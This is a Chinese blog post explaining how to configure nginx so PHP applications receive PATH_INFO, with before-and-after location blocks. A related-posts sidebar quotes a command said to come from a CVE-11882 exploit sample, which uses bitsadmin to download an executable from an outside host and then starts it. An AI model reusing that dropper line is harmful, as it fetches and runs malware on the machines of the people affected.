文档章节

nginx的pathinfo配置

dingdayu
 dingdayu
发布于 2016/04/21 11:02
字数 700
阅读 130
收藏 2

前言:

        首先,什么是pathinfo模式呢?

        pathinfo是伪静态的一种,我们先解释一下伪静态的概念,伪静态页面是静态URL与动态URL互通的一个桥梁,它是指动态网址通过URL重写的手段去掉其动态参数,使URL静态化,但在实际的网页目录中并没有重写URL。简单来说,伪静态URL就是通过服务器转换伪装文件名或地址,使该页面类似于静态页面,但服务器上没有独立存在的文件,其本质还是动态页面。

       例如:一个动态网址http://www.cxzaixian.com/index.php?m=topic&a=detail&tid=82  转为 伪静态模式后为http://www.cxzaixian.com/index.php/topic/detail/tid/82.html。 

       apache服务器本身是支持pathinfo的,通过简单修改几项配置即可。当配置支持pathinfo后,在php应用程序中,通过_SERVER['PATH_INFO']变量获取pathinfo值为/topic/detail/tid/82.html。 我们就可以很容易通过php逻辑代码来解析出controller文件、action方法、以及剩余的动态参数,进而就可以返回正确的网页响应。

       但是我们要说的nginx服务器默认是不支持pathinfo模式访问。实质上就是nginx不会去设置环境变量PATH_INFO 的值,导致php应用程序不能通过_SERVER['PAHT_INFO']来获取path_info, 也就不能解析出对应的动态参数。

       好了,终于到本文的正题了,nginx支持pathinfo的配置如下:    

一、修改ngingx的配置文件nginx.conf


在server里的location项:

修改前:

#注:去掉下行的$ 字符
location ~ \.php$ { 
    root           html;
    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
    include        fastcgi_params;
    #注:下面加上一些配置语句
}

修改后:

location ~ \.php {
    root           html;
    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
    include        fastcgi_params;
    #定义变量 $path_info ,用于存放pathinfo信息
    set $path_info "";
    #定义变量 $real_script_name,用于存放真实地址
    set $real_script_name $fastcgi_script_name;
    #如果地址与引号内的正则表达式匹配
    if ($fastcgi_script_name ~ "^(.+?\.php)(/.+)$") {
        #将文件地址赋值给变量 $real_script_name
        set $real_script_name $1;
            #将文件地址后的参数赋值给变量 $path_info
            set $path_info $2;
    }
    #配置fastcgi的一些参数
    fastcgi_param SCRIPT_NAME $real_script_name;
    fastcgi_param PATH_INFO $path_info;
}

二、重启nginx和phpcgi

© 著作权归作者所有

共有 人打赏支持
dingdayu

dingdayu

粉丝 33
博文 111
码字总数 52736
作品 3
海淀
后端工程师
nginx 隐藏 index.php 和 开启 pathinfo 模式的配置

nginx 通过 location 的规则匹配将 php 转发给 php-fpm 处理后获取结果然后返回给客户端,转发模式可以通过 unix sock 或 tcp socket 方式。百度了好多文章我是没遇到一个能完整的而且正确的...

big_cat
2016/06/28
1K
0
LNMP 配置NGINX 支持THINKPHP PATHINFO模式

在支付宝回调,和微信回调方法中。正常不支持参数中带 ?s= ,所以要开启THINKPHP 的PATHINFO模式 。 THINKPHP 官方论坛 和网络上很多NGINX配置教程不是太完善的。 我一直比较喜欢使用lnmp....

曹梦龙
2016/04/15
9.6K
7
ThinkPHP5配置Nginx实现兼容pathinfo模式访问

ThinkPHP项目,当使用Apache服务器时,Apache服务器本身支持pathinfo模式,ThinkPHP的4种访问模式都没问题;当使用Nginx时,碰到问题,必须使用兼容模式访问。 查找很多文档,归纳原因及解决...

makingdifference
05/11
0
0
修改nginx配置文件,支持php的pathinfo

配置一个虚拟虚拟主机支持php的基本配置如下: servar {...location ~ .php$ { }...} 但是这样配置,nginx是不会支持php的pathinfo的。。 所以要修改一下配置文件如下: servar {...locatio...

笑只是一种习惯
2013/11/30
0
0
解决阿里云 装LNMP,ThinkPHP代码出现只能访问主页,其他跳转404

pathinfo是什么: pathinfo不是nginx的功能,它是php的功能。php有两个pathinfo,一个是环境变量$SERVER['PATH_INFO'] ,另一个是函数path_info(); path_info()的功能是可以将输入的url做判断...

issac宝华
2016/03/19
1K
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
15分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
28分钟前
1
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
30分钟前
0
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
41分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部